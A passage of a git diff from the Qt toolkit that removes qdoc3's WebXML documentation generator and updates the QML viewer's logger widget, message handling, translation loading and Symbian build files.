- } else if (atom->string() == "functionindex") {
- generateFunctionIndex(relative, marker);
- } else if (atom->string() == "legalese") {
- generateLegaleseList(relative, marker);
- } else if (atom->string() == "mainclasses") {
- generateCompactList(relative, marker, mainClasses);
- } else if (atom->string() == "services") {
- generateCompactList(relative, marker, serviceClasses);
- } else if (atom->string() == "overviews") {
- generateOverviewList(relative, marker);
- } else if (atom->string() == "namespaces") {
- generateAnnotatedList(relative, marker, namespaceIndex);
- } else if (atom->string() == "related") {
- const FakeNode *fake = static_cast<const FakeNode *>(relative);
- if (fake && !fake->groupMembers().isEmpty()) {
- QMap<QString, const Node *> groupMembersMap;
- foreach (Node *node, fake->groupMembers()) {
- if (node->type() == Node::Fake)
- groupMembersMap[fullName(node, relative, marker)] = node;
- }
- generateAnnotatedList(fake, marker, groupMembersMap);
- }
- } else if (atom->string() == "relatedinline") {
- const FakeNode *fake = static_cast<const FakeNode *>(relative);
- if (fake && !fake->groupMembers().isEmpty()) {
- // Reverse the list into the original scan order.
- // Should be sorted. But on what? It may not be a
- // regular class or page definition.
- QList<const Node *> list;
- foreach (const Node *node, fake->groupMembers())
- list.prepend(node);
- foreach (const Node *node, list)
- generateBody(node, marker );
- }
- }
- break;
-*/
- break;
- case Atom::Image:
- writer.writeStartElement("image");
- writer.writeAttribute("href", imageFileName(relative, atom->string()));
- writer.writeEndElement(); // image
- break;
-
- case Atom::InlineImage:
- writer.writeStartElement("inlineimage");
- writer.writeAttribute("href", imageFileName(relative, atom->string()));
- writer.writeEndElement(); // inlineimage
- break;
-
- case Atom::ImageText:
- break;
-
- case Atom::LegaleseLeft:
- writer.writeStartElement("legalese");
- break;
-
- case Atom::LegaleseRight:
- writer.writeEndElement(); // legalese
- break;
-
- case Atom::Link:
- case Atom::LinkNode:
- if (!inLink) {
- const Node *node = findNode(atom, relative, marker);
- if (node)
- startLink(writer, atom, node, relative);
- }
- break;
-
- case Atom::ListLeft:
- writer.writeStartElement("list");
-
- if (atom->string() == ATOM_LIST_BULLET)
- writer.writeAttribute("type", "bullet");
- else if (atom->string() == ATOM_LIST_TAG)
- writer.writeAttribute("type", "definition");
- else if (atom->string() == ATOM_LIST_VALUE)
- writer.writeAttribute("type", "enum");
- else {
- writer.writeAttribute("type", "ordered");
- if (atom->string() == ATOM_LIST_UPPERALPHA)
- writer.writeAttribute("start", "A");
- else if (atom->string() == ATOM_LIST_LOWERALPHA)
- writer.writeAttribute("start", "a");
- else if (atom->string() == ATOM_LIST_UPPERROMAN)
- writer.writeAttribute("start", "I");
- else if (atom->string() == ATOM_LIST_LOWERROMAN)
- writer.writeAttribute("start", "i");
- else // (atom->string() == ATOM_LIST_NUMERIC)
- writer.writeAttribute("start", "1");
- }
- break;
-
- case Atom::ListItemNumber:
- break;
-
- case Atom::ListTagLeft:
- {
- writer.writeStartElement("definition");
-
- writer.writeTextElement("term", plainCode(
- marker->markedUpEnumValue(atom->next()->string(), relative)));
- }
- break;
-
- case Atom::ListTagRight:
- writer.writeEndElement(); // definition
- break;
-
- case Atom::ListItemLeft:
- writer.writeStartElement("item");
- break;
-
- case Atom::ListItemRight:
- writer.writeEndElement(); // item
- break;
-
- case Atom::ListRight:
- writer.writeEndElement(); // list
- break;
-
- case Atom::Nop:
- break;
-
- case Atom::ParaLeft:
- writer.writeStartElement("para");
- break;
-
- case Atom::ParaRight:
- writer.writeEndElement(); // para
- break;
-
- case Atom::QuotationLeft:
- writer.writeStartElement("quote");
- break;
-
- case Atom::QuotationRight:
- writer.writeEndElement(); // quote
- break;
-
- case Atom::RawString:
- writer.writeCharacters(atom->string());
- break;
-
- case Atom::SectionLeft:
- writer.writeStartElement("section");
- writer.writeAttribute("id", Doc::canonicalTitle(Text::sectionHeading(atom).toString()));
- break;
-
- case Atom::SectionRight:
- writer.writeEndElement(); // section
- break;
-
- case Atom::SectionHeadingLeft:
- writer.writeStartElement("heading");
- writer.writeAttribute("level", atom->string()); // + hOffset(relative)
- inSectionHeading = true;
- break;
-
- case Atom::SectionHeadingRight:
- writer.writeEndElement(); // heading
- inSectionHeading = false;
- break;
-
- case Atom::SidebarLeft:
- case Atom::SidebarRight:
- break;
-
- case Atom::SnippetCommand:
- writer.writeStartElement(atom->string());
- break;
-
- case Atom::SnippetIdentifier:
- writer.writeAttribute("identifier", atom->string());
- writer.writeEndElement(); // snippet
- break;
-
- case Atom::SnippetLocation:
- writer.writeAttribute("location", atom->string());
- break;
-
- case Atom::String:
- writer.writeCharacters(atom->string());
- break;
-
- case Atom::TableLeft:
- writer.writeStartElement("table");
- if (atom->string().contains("%"))
- writer.writeAttribute("width", atom->string());
- break;
-
- case Atom::TableRight:
- writer.writeEndElement(); // table
- break;
-
- case Atom::TableHeaderLeft:
- writer.writeStartElement("header");
- break;
-
- case Atom::TableHeaderRight:
- writer.writeEndElement(); // header
- break;
-
- case Atom::TableRowLeft:
- writer.writeStartElement("row");
- break;
-
- case Atom::TableRowRight:
- writer.writeEndElement(); // row
- break;
-
- case Atom::TableItemLeft:
- {
- writer.writeStartElement("item");
- QStringList spans = atom->string().split(",");
- if (spans.size() == 2) {
- if (spans.at(0) != "1")
- writer.writeAttribute("colspan", spans.at(0).trimmed());
- if (spans.at(1) != "1")
- writer.writeAttribute("rowspan", spans.at(1).trimmed());
- }
- }
- break;
-
- case Atom::TableItemRight:
- writer.writeEndElement(); // item
- break;
-
- case Atom::TableOfContents:
- writer.writeStartElement("tableofcontents");
- writer.writeAttribute("details", atom->string());
- {
- int numColumns = 1;
- const Node *node = relative;
-
- Doc::SectioningUnit sectioningUnit = Doc::Section4;
- QStringList params = atom->string().split(",");
- QString columnText = params.at(0);
- QStringList pieces = columnText.split(" ", QString::SkipEmptyParts);
- if (pieces.size() >= 2) {
- columnText = pieces.at(0);
- pieces.pop_front();
- QString path = pieces.join(" ").trimmed();
- node = findNode(path, relative, marker);
- if (node)
- writer.writeAttribute("href", fileName(node));
- }
-
- if (params.size() == 2) {
- numColumns = qMax(columnText.toInt(), numColumns);
- sectioningUnit = (Doc::SectioningUnit)params.at(1).toInt();
- writer.writeAttribute("columns", QString::number(numColumns));
- writer.writeAttribute("unit", QString::number(sectioningUnit));
- }
-
- if (node)
- generateTableOfContents(writer, node, sectioningUnit, numColumns,
- relative);
- }
- writer.writeEndElement(); // tableofcontents
- break;
-
- case Atom::Target:
- writer.writeStartElement("target");
- writer.writeAttribute("name", Doc::canonicalTitle(atom->string()));
- writer.writeEndElement(); // target
- break;
-
- case Atom::UnhandledFormat:
- case Atom::UnknownCommand:
- writer.writeCharacters(atom->typeString());
- break;
- default:
- break;
- }
-
- if (atom)
- return atom->next();
-
- return 0;
-}
-/*
- QDomElement atomElement = document.createElement(atom->typeString().toLower());
- QDomText atomValue = document.createTextNode(atom->string());
- atomElement.appendChild(atomValue);
- descriptionElement.appendChild(atomElement);
-*/
-
-/*
- ### Warning: findNode() is a modified version of HtmlGenerator::getLink().
-*/
-const Node *WebXMLGenerator::findNode(const Atom *atom, const Node *relative, CodeMarker *marker)
-{
- return findNode(atom->string(), relative, marker);
-}
-
-const Node *WebXMLGenerator::findNode(const QString &title, const Node *relative, CodeMarker *marker)
-{
- QString link;
- if (title.contains(":") &&
- (title.startsWith("file:")
- || title.startsWith("http:")
- || title.startsWith("https:")
- || title.startsWith("ftp:")
- || title.startsWith("mailto:"))) {
-
- return 0;
- } else if (title.count('@') == 1) {
- return 0;
- } else {
- QStringList path;
- if (title.contains('#')) {
- path = title.split('#');
- } else {
- path.append(title);
- }
-
- const Node *node = 0;
- Atom *targetAtom = 0;
-
- QString first = path.first().trimmed();
- if (first.isEmpty()) {
- node = relative;
- } else if (first.endsWith(".html")) {
- node = tre->root()->findNode(first, Node::Fake);
- } else {
- node = marker->resolveTarget(first, tre, relative);
- if (!node)
- node = tre->findFakeNodeByTitle(first);
- if (!node)
- node = tre->findUnambiguousTarget(first, targetAtom);
- }
-
- if (node) {
- if (!node->url().isEmpty())
- return node;
- else
- path.removeFirst();
- } else {
- return 0;
- }
-
- while (!path.isEmpty()) {
- targetAtom = tre->findTarget(path.first(), node);
- if (targetAtom == 0)
- break;
- path.removeFirst();
- }
-/* We would ideally treat targets as nodes to be consistent.
- if (targetAtom && node && node->isInnerNode()) {
- Node *parentNode = const_cast<Node *>(node);
- node = new TargetNode(static_cast<InnerNode*>(parentNode), first);
- }
-*/
- return node;
- }
- return 0;
-}
-
-void WebXMLGenerator::startLink(QXmlStreamWriter &writer, const Atom *atom,
- const Node *node, const Node *relative)
-{
- QString location = tre->fullDocumentLocation(node);
- if (!location.isEmpty()) {
- writer.writeStartElement("link");
- writer.writeAttribute("raw", atom->string());
- if (atom->string().contains("#") || node == relative) {
- QString target = atom->string().split("#").last();
- Atom *targetAtom = tre->findTarget(target, node);
- if (targetAtom)
- location += "#" + Doc::canonicalTitle(target);
- }
- writer.writeAttribute("href", location);
- QString type = targetType(node);
- writer.writeAttribute("type", type);
- switch (node->type()) {
- case Node::Enum:
- writer.writeAttribute("enum", tre->fullDocumentName(node));
- break;
- case Node::Fake:
- writer.writeAttribute("page", tre->fullDocumentName(node));
- break;
- case Node::Property:
- {
- const PropertyNode *propertyNode = static_cast<const PropertyNode *>(node);
- if (propertyNode->getters().size() > 0)
- writer.writeAttribute("getter", tre->fullDocumentName(propertyNode->getters()[0]));
- }
- default:
- ;
- }
- inLink = true;
- }
-}
-
-QString WebXMLGenerator::targetType(const Node *node)
-{
- switch (node->type()) {
- case Node::Namespace:
- return "namespace";
- break;
- case Node::Class:
- return "class";
- break;
- case Node::Fake:
- return "page";
- break;
- case Node::Enum:
- return "enum";
- break;
- case Node::Typedef:
- return "typedef";
- break;
- case Node::Property:
- return "property";
- break;
- case Node::Function:
- return "function";
- break;
- case Node::Variable:
- return "variable";
- break;
- case Node::Target:
- return "target";
- break;
- default:
- return "";
- }
- return "";
-}
-
-void WebXMLGenerator::generateRelations(QXmlStreamWriter &writer, const Node *node, CodeMarker *marker)
-{
- if (node && !node->links().empty()) {
- QPair<QString,QString> linkPair;
- QPair<QString,QString> anchorPair;
- const Node *linkNode;
-
- foreach (Node::LinkType relation, node->links().keys()) {
-
- linkPair = node->links()[relation];
- linkNode = findNode(linkPair.first, node, marker);
-
- if (!linkNode)
- linkNode = node;
-
- if (linkNode == node)
- anchorPair = linkPair;
- else
- anchorPair = anchorForNode(linkNode);
-
- writer.writeStartElement("relation");
- writer.writeAttribute("href", anchorPair.first);
- writer.writeAttribute("type", targetType(linkNode));
-
- switch (relation) {
- case Node::StartLink:
- writer.writeAttribute("meta", "start");
- break;
- case Node::NextLink:
- writer.writeAttribute("meta", "next");
- break;
- case Node::PreviousLink:
- writer.writeAttribute("meta", "previous");
- break;
- case Node::ContentsLink:
- writer.writeAttribute("meta", "contents");
- break;
- case Node::IndexLink:
- writer.writeAttribute("meta", "index");
- break;
- default:
- writer.writeAttribute("meta", "");
- }
- writer.writeAttribute("description", anchorPair.second);
- writer.writeEndElement(); // link
- }
- }
-}
-
-// Classes adapted from HtmlGenerator.
-
-void WebXMLGenerator::generateTableOfContents(QXmlStreamWriter &writer, const Node *node,
- Doc::SectioningUnit sectioningUnit,
- int numColumns, const Node *relative)
-
-{
- if (!node->doc().hasTableOfContents())
- return;
- QList<Atom *> toc = node->doc().tableOfContents();
- if (toc.isEmpty())
- return;
-
- QString nodeName = "";
- if (node != relative)
- nodeName = node->name();
-
- QStringList sectionNumber;
- int columnSize = 0;
-
- if (numColumns > 1) {
- writer.writeStartElement("table");
- writer.writeAttribute("width", "100%");
- writer.writeStartElement("row");
- writer.writeStartElement("item");
- writer.writeAttribute("width", QString::number((100 + numColumns - 1) / numColumns) + "%");
- }
-
- // disable nested links in table of contents
- inContents = true;
- inLink = true;
-
- for (int i = 0; i < toc.size(); ++i) {
- Atom *atom = toc.at(i);
-
- int nextLevel = atom->string().toInt();
- if (nextLevel > (int)sectioningUnit)
- continue;
-
- if (sectionNumber.size() < nextLevel) {
- do {
- writer.writeStartElement("list");
- sectionNumber.append("1");
- } while (sectionNumber.size() < nextLevel);
- } else {
- while (sectionNumber.size() > nextLevel) {
- writer.writeEndElement();
- sectionNumber.removeLast();
- }
- sectionNumber.last() = QString::number(sectionNumber.last().toInt() + 1);
- }
- Text headingText = Text::sectionHeading(atom);
-
- if (sectionNumber.size() == 1 && columnSize > toc.size() / numColumns) {
- writer.writeEndElement(); // list
- writer.writeEndElement(); // item
- writer.writeStartElement("item");
- writer.writeAttribute("width", QString::number((100 + numColumns - 1) / numColumns) + "%");
- writer.writeStartElement("list");
- columnSize = 0;
- }
-
- writer.writeStartElement("item");
- writer.writeStartElement("para");
- writer.writeStartElement("link");
- writer.writeAttribute("href", nodeName + "#" + Doc::canonicalTitle(headingText.toString()));
- writer.writeAttribute("type", "page");
- writer.writeCharacters(headingText.toString());
- writer.writeEndElement(); // link
- writer.writeEndElement(); // para
- writer.writeEndElement(); // item
-
- ++columnSize;
- }
- while (!sectionNumber.isEmpty()) {
- writer.writeEndElement(); // list
- sectionNumber.removeLast();
- }
-
- if (numColumns > 1) {
- writer.writeEndElement(); // item
- writer.writeEndElement(); // row
- writer.writeEndElement(); // table
- }
-
- inContents = false;
- inLink = false;
-}
-
-void WebXMLGenerator::generateAnnotatedList(QXmlStreamWriter &writer,
- const Node *relative, CodeMarker *marker, const QMap<QString, const Node *> &nodeMap)
-{
- writer.writeStartElement("table");
- writer.writeAttribute("width", "100%");
-
- foreach (QString name, nodeMap.keys()) {
- const Node *node = nodeMap[name];
-
- writer.writeStartElement("row");
- writer.writeStartElement("heading");
- generateFullName(writer, node, relative, marker);
- writer.writeEndElement(); // heading
-
- writer.writeStartElement("item");
- writer.writeCharacters(node->doc().briefText().toString());
- writer.writeEndElement(); // item
- writer.writeEndElement(); // row
- }
- writer.writeEndElement(); // table
-}
-
-void WebXMLGenerator::generateFullName(QXmlStreamWriter &writer,
- const Node *apparentNode, const Node *relative, CodeMarker *marker,
- const Node *actualNode)
-{
- if ( actualNode == 0 )
- actualNode = apparentNode;
- writer.writeStartElement("link");
- writer.writeAttribute("href", tre->fullDocumentLocation(actualNode));
- writer.writeAttribute("type", targetType(actualNode));
- writer.writeCharacters(fullName(apparentNode, relative, marker));
- writer.writeEndElement(); // link
-}
-
-// Classes copied (and slightly adapted) from the HtmlGenerator. These need
-// refactoring into a common ancestor class.
-
-void WebXMLGenerator::findAllClasses(const InnerNode *node)
-{
- NodeList::const_iterator c = node->childNodes().constBegin();
- while (c != node->childNodes().constEnd()) {
- if ((*c)->access() != Node::Private && (*c)->url().isEmpty()) {
- if ((*c)->type() == Node::Class && !(*c)->doc().isEmpty()) {
- QString className = (*c)->name();
- if ((*c)->parent() && (*c)->parent()->type() == Node::Namespace &&
- !(*c)->parent()->name().isEmpty())
- className = (*c)->parent()->name()+"::"+className;
-
- QString moduleName = (*c)->moduleName();
- if (!moduleName.isEmpty())
- moduleClassMap[moduleName].insert((*c)->name(), *c);
-
- QString serviceName =
- (static_cast<const ClassNode *>(*c))->serviceName();
- if (!serviceName.isEmpty())
- serviceClasses.insert(serviceName, *c);
- } else if ((*c)->isInnerNode()) {
- findAllClasses(static_cast<InnerNode *>(*c));
- }
- }
- ++c;
- }
-}
-
-void WebXMLGenerator::findAllNamespaces(const InnerNode *node)
-{
- NodeList::ConstIterator c = node->childNodes().begin();
- while (c != node->childNodes().end()) {
- if ((*c)->access() != Node::Private) {
- if ((*c)->isInnerNode() && (*c)->url().isEmpty()) {
- findAllNamespaces(static_cast<const InnerNode *>(*c));
- if ((*c)->type() == Node::Namespace) {
- const NamespaceNode *nspace = static_cast<const NamespaceNode *>(*c);
- // Ensure that the namespace's name is not empty (the root
- // namespace has no name).
- if (!nspace->name().isEmpty()) {
- namespaceIndex.insert(nspace->name(), *c);
- QString moduleName = (*c)->moduleName();
- if (!moduleName.isEmpty())
- moduleNamespaceMap[moduleName].insert((*c)->name(), *c);
- }
- }
- }
- }
- ++c;
- }
-}
-
-const QPair<QString,QString> WebXMLGenerator::anchorForNode(const Node *node)
-{
- QPair<QString,QString> anchorPair;
-
- anchorPair.first = PageGenerator::fileName(node);
- if (node->type() == Node::Fake) {
- const FakeNode *fakeNode = static_cast<const FakeNode*>(node);
- anchorPair.second = fakeNode->title();
- }
-
- return anchorPair;
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/webxmlgenerator.h b/tools/qdoc3/webxmlgenerator.h
deleted file mode 100644
index 3241bc7..0000000
--- a/tools/qdoc3/webxmlgenerator.h
+++ /dev/null
@@ -1,127 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
- WebXMLGenerator.h
-*/
-
-#ifndef WEBXMLGENERATOR_H
-#define WEBXMLGENERATOR_H
-
-#include <QtCore/qxmlstream.h>
-
-#include "codemarker.h"
-#include "config.h"
-#include "pagegenerator.h"
-
-QT_BEGIN_NAMESPACE
-
-class QXmlStreamReader;
-class QXmlStreamWriter;
-
-class WebXMLGenerator : public PageGenerator
-{
-public:
- WebXMLGenerator();
- ~WebXMLGenerator();
-
- virtual void initializeGenerator(const Config &config);
- virtual void terminateGenerator();
- virtual QString format();
- virtual void generateTree(const Tree *tree, CodeMarker *marker);
-
-protected:
- virtual void startText( const Node *relative, CodeMarker *marker );
- virtual int generateAtom(QXmlStreamWriter &writer, const Atom *atom,
- const Node *relative, CodeMarker *marker );
- virtual void generateClassLikeNode(const InnerNode *inner, CodeMarker *marker);
- virtual void generateFakeNode(const FakeNode *fake, CodeMarker *marker);
- virtual QString fileExtension(const Node *node) const;
-
- virtual const Atom *addAtomElements(QXmlStreamWriter &writer, const Atom *atom,
- const Node *relative, CodeMarker *marker);
- virtual void generateIndexSections(QXmlStreamWriter &writer, const Node *node,
- CodeMarker *marker);
- virtual void generateInnerNode( const InnerNode *node, CodeMarker *marker );
-
-private:
- const QPair<QString,QString> anchorForNode(const Node *node);
- void findAllClasses(const InnerNode *node);
- void findAllNamespaces(const InnerNode *node);
- const Node *findNode(const Atom *atom, const Node *relative, CodeMarker *marker);
- const Node *findNode(const QString &title, const Node *relative, CodeMarker *marker);
- void generateAnnotatedList(QXmlStreamWriter &writer, const Node *relative,
- CodeMarker *marker, const QMap<QString,
- const Node *> &nodeMap);
- void generateFullName(QXmlStreamWriter &writer, const Node *apparentNode,
- const Node *relative, CodeMarker *marker,
- const Node *actualNode = 0);
- void generateRelations(QXmlStreamWriter &writer, const Node *node, CodeMarker *marker);
- void generateTableOfContents(QXmlStreamWriter &writer, const Node *node,
- Doc::SectioningUnit sectioningUnit,
- int numColumns, const Node *relative);
- void startLink(QXmlStreamWriter &writer, const Atom *atom, const Node *node,
- const Node *relative);
- QString targetType(const Node *node);
-
- const Tree *tre;
- bool generateIndex;
- bool inLink;
- bool inContents;
- bool inSectionHeading;
- bool inTableHeader;
- int numTableRows;
- bool threeColumnEnumValueTable;
- QMap<QString, QMap<QString, const Node *> > moduleClassMap;
- QMap<QString, QMap<QString, const Node *> > moduleNamespaceMap;
- QMap<QString, const Node *> namespaceIndex;
- QMap<QString, const Node *> serviceClasses;
- QString link;
- QString project;
- QString projectDescription;
- QString projectUrl;
- QString quoteCommand;
- QStringList sectionNumber;
-};
-
-QT_END_NAMESPACE
-
-#endif
diff --git a/tools/qml/loggerwidget.cpp b/tools/qml/loggerwidget.cpp
index 4c21b34..3f2337a 100644
--- a/tools/qml/loggerwidget.cpp
+++ b/tools/qml/loggerwidget.cpp
@@ -45,6 +45,8 @@
#include <QActionGroup>
#include <QMenu>
#include <QPlainTextEdit>
+#include <QLabel>
+#include <QVBoxLayout>
#ifdef Q_WS_MAEMO_5
# include <QScrollArea>
# include <QVBoxLayout>
@@ -64,6 +66,19 @@ LoggerWidget::LoggerWidget(QWidget *parent) :
m_plainTextEdit = new QPlainTextEdit();
+#if defined(Q_OS_SYMBIAN)
+ QAction* clearAction = new QAction(tr("Clear"), this);
+ clearAction->setSoftKeyRole(QAction::PositiveSoftKey);
+ connect(clearAction, SIGNAL(triggered()), m_plainTextEdit, SLOT(clear()));
+ addAction(clearAction);
+
+ m_plainTextEdit->setReadOnly(true);
+ QAction* backAction = new QAction( tr("Back"), this );
+ backAction->setSoftKeyRole( QAction::NegativeSoftKey );
+ connect(backAction, SIGNAL(triggered()), this, SLOT(hide()));
+ addAction( backAction );
+#endif
+
#ifdef Q_WS_MAEMO_5
new TextEditAutoResizer(m_plainTextEdit);
setAttribute(Qt::WA_Maemo5StackedWindow);
@@ -74,6 +89,15 @@ LoggerWidget::LoggerWidget(QWidget *parent) :
#else
setCentralWidget(m_plainTextEdit);
#endif
+
+ m_noWarningsLabel = new QLabel(m_plainTextEdit);
+ m_noWarningsLabel->setText(tr("(No warnings)"));
+ m_noWarningsLabel->setAlignment(Qt::AlignVCenter | Qt::AlignHCenter);
+ QVBoxLayout *layout = new QVBoxLayout;
+ layout->addWidget(m_noWarningsLabel);
+ m_plainTextEdit->setLayout(layout);
+ connect(m_plainTextEdit, SIGNAL(textChanged()), this, SLOT(updateNoWarningsLabel()));
+
readSettings();
setupPreferencesMenu();
}
@@ -198,4 +222,9 @@ void LoggerWidget::setupPreferencesMenu()
}
}
+void LoggerWidget::updateNoWarningsLabel()
+{
+ m_noWarningsLabel->setVisible(m_plainTextEdit->toPlainText().length() == 0);
+}
+
QT_END_NAMESPACE
diff --git a/tools/qml/loggerwidget.h b/tools/qml/loggerwidget.h
index c677d11..a3e8871 100644
--- a/tools/qml/loggerwidget.h
+++ b/tools/qml/loggerwidget.h
@@ -48,6 +48,7 @@
QT_BEGIN_NAMESPACE
class QPlainTextEdit;
+class QLabel;
class QMenu;
class QAction;
@@ -66,6 +67,7 @@ public:
public slots:
void append(const QString &msg);
+ void updateNoWarningsLabel();
private slots:
void warningsPreferenceChanged(QAction *action);
@@ -86,7 +88,7 @@ private:
QMenu *m_preferencesMenu;
QAction *m_showWidgetAction;
QPlainTextEdit *m_plainTextEdit;
-
+ QLabel *m_noWarningsLabel;
enum ConfigOrigin { CommandLineOrigin, SettingsOrigin };
ConfigOrigin m_visibilityOrigin;
Visibility m_visibility;
diff --git a/tools/qml/main.cpp b/tools/qml/main.cpp
index 5846ff0..6ca6bfb 100644
--- a/tools/qml/main.cpp
+++ b/tools/qml/main.cpp
@@ -72,33 +72,15 @@ void exitApp(int i)
exit(i);
}
+QWeakPointer<LoggerWidget> logger;
+static QAtomicInt recursiveLock(0);
+
#if defined (Q_OS_SYMBIAN)
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
-
-void myMessageOutput(QtMsgType type, const char *msg)
-{
- static int fd = -1;
- if (fd == -1)
- fd = ::open("E:\\qml.log", O_WRONLY | O_CREAT);
-
- ::write(fd, msg, strlen(msg));
- ::write(fd, "\n", 1);
- ::fsync(fd);
-
- switch (type) {
- case QtFatalMsg:
- abort();
- }
-}
-
-#else // !defined (Q_OS_SYMBIAN)
-
-QWeakPointer<LoggerWidget> logger;
-
-static QAtomicInt recursiveLock(0);
+#endif
void myMessageOutput(QtMsgType type, const char *msg)
{
@@ -115,7 +97,21 @@ void myMessageOutput(QtMsgType type, const char *msg)
warnings += QLatin1Char('\n');
}
}
- if (systemMsgOutput) { // Windows
+#if defined (Q_OS_SYMBIAN)
+ static int fd = -1;
+ if (fd == -1)
+ fd = ::open("E:\\qml.log", O_WRONLY | O_CREAT);
+
+ ::write(fd, msg, strlen(msg));
+ ::write(fd, "\n", 1);
+ ::fsync(fd);
+ switch (type) {
+ case QtFatalMsg:
+ abort();
+ }
+#endif
+
+ if (systemMsgOutput) {
systemMsgOutput(type, msg);
} else { // Unix
fprintf(stderr, "%s\n", msg);
@@ -123,8 +119,6 @@ void myMessageOutput(QtMsgType type, const char *msg)
}
}
-#endif
-
static QDeclarativeViewer* globalViewer = 0;
// The qml file that is shown if the user didn't specify a QML file
@@ -469,7 +463,6 @@ static QDeclarativeViewer *createViewer()
viewer->setScript(opts.script);
}
-#if !defined(Q_OS_SYMBIAN)
logger = viewer->warningsWidget();
if (opts.warningsConfig == ShowWarnings) {
logger.data()->setDefaultVisibility(LoggerWidget::ShowWarnings);
@@ -477,7 +470,6 @@ static QDeclarativeViewer *createViewer()
} else if (opts.warningsConfig == HideWarnings){
logger.data()->setDefaultVisibility(LoggerWidget::HideWarnings);
}
-#endif
if (opts.experimentalGestures)
viewer->enableExperimentalGestures();
@@ -529,11 +521,7 @@ QDeclarativeViewer *openFile(const QString &fileName)
int main(int argc, char ** argv)
{
-#if defined (Q_OS_SYMBIAN)
- qInstallMsgHandler(myMessageOutput);
-#else
systemMsgOutput = qInstallMsgHandler(myMessageOutput);
-#endif
#if defined (Q_WS_X11) || defined (Q_WS_MAC)
//### default to using raster graphics backend for now
@@ -562,8 +550,11 @@ int main(int argc, char ** argv)
QTranslator qmlTranslator;
if (!opts.translationFile.isEmpty()) {
- qmlTranslator.load(opts.translationFile);
- app.installTranslator(&qmlTranslator);
+ if (qmlTranslator.load(opts.translationFile)) {
+ app.installTranslator(&qmlTranslator);
+ } else {
+ qWarning() << "Could not load the translation file" << opts.translationFile;
+ }
}
if (opts.fullScreen && opts.maximized)
diff --git a/tools/qml/qdeclarativetester.cpp b/tools/qml/qdeclarativetester.cpp
index 3f4be57..11f81fc 100644
--- a/tools/qml/qdeclarativetester.cpp
+++ b/tools/qml/qdeclarativetester.cpp
@@ -48,7 +48,10 @@
#include <QDir>
#include <QCryptographicHash>
#include <private/qabstractanimation_p.h>
+#include <QGraphicsObject>
+#ifndef Q_OS_SYMBIAN
#include <private/qdeclarativeitem_p.h>
+#endif
QT_BEGIN_NAMESPACE
@@ -266,7 +269,9 @@ void QDeclarativeTester::save()
void QDeclarativeTester::updateCurrentTime(int msec)
{
+#ifndef Q_OS_SYMBIAN
QDeclarativeItemPrivate::setConsistentTime(msec);
+#endif
if (!testscript && msec > 16 && options & QDeclarativeViewer::Snapshot)
return;
diff --git a/tools/qml/qml.pri b/tools/qml/qml.pri
index 5db7678..2010cc1 100644
--- a/tools/qml/qml.pri
+++ b/tools/qml/qml.pri
@@ -19,10 +19,16 @@ SOURCES += $$PWD/qmlruntime.cpp \
RESOURCES = $$PWD/browser/browser.qrc \
$$PWD/startup/startup.qrc
-symbian:!contains(S60_VERSION, 3.1):!contains(S60_VERSION, 3.2) {
- SOURCES += $$PWD/deviceorientation_symbian.cpp
- FORMS = $$PWD/recopts.ui \
- $$PWD/proxysettings.ui
+symbian {
+ contains(QT_CONFIG, s60) {
+ LIBS += -lavkon -lcone
+ }
+ !contains(S60_VERSION, 3.1):!contains(S60_VERSION, 3.2) {
+ LIBS += -lsensrvclient -lsensrvutil
+ SOURCES += $$PWD/deviceorientation_symbian.cpp
+ }
+ FORMS = $$PWD/recopts.ui \
+ $$PWD/proxysettings.ui
} else:maemo5 {
QT += dbus
HEADERS += $$PWD/texteditautoresizer_maemo5.h
@@ -39,3 +45,4 @@ symbian:!contains(S60_VERSION, 3.1):!contains(S60_VERSION, 3.2) {
FORMS = $$PWD/recopts.ui \
$$PWD/proxysettings.ui
}
+
diff --git a/tools/qml/qml.pro b/tools/qml/qml.pro
index bdac6e3..b1d56ea 100644
--- a/tools/qml/qml.pro
+++ b/tools/qml/qml.pro
@@ -37,12 +37,11 @@ symbian {
include($$QT_SOURCE_TREE/demos/symbianpkgrules.pri)
TARGET.EPOCHEAPSIZE = 0x20000 0x4000000
TARGET.CAPABILITY = NetworkServices ReadUserData
- !contains(S60_VERSION, 3.1):!contains(S60_VERSION, 3.2) {
- LIBS += -lsensrvclient -lsensrvutil
- }
- contains(QT_CONFIG, s60): {
- LIBS += -lavkon -lcone
- }
+
+ # Deploy plugin for remote debugging
+ qmldebuggingplugin.sources = $$QT_BUILD_TREE/plugins/qmltooling/tcpserver$${QT_LIBINFIX}.dll
+ qmldebuggingplugin.path = c:$$QT_PLUGINS_BASE_DIR/qmltooling
+ DEPLOYMENT += qmldebuggingplugin
}
mac {
QMAKE_INFO_PLIST=Info_mac.plist
diff --git a/tools/qml/qmlruntime.cpp b/tools/qml/qmlruntime.cpp
index 99c5b7a..36915d1 100644
--- a/tools/qml/qmlruntime.cpp
+++ b/tools/qml/qmlruntime.cpp
@@ -586,7 +586,6 @@ QNetworkAccessManager *NetworkAccessManagerFactory::create(QObject *parent)
}
connect(manager, SIGNAL(destroyed(QObject*)), this, SLOT(managerDestroyed(QObject*)));
namList.append(manager);
- qDebug() << "created new network access manager for" << parent;
return manager;
}
@@ -742,8 +741,10 @@ void QDeclarativeViewer::createMenu()
connect(slowAction, SIGNAL(triggered(bool)), this, SLOT(setSlowMode(bool)));
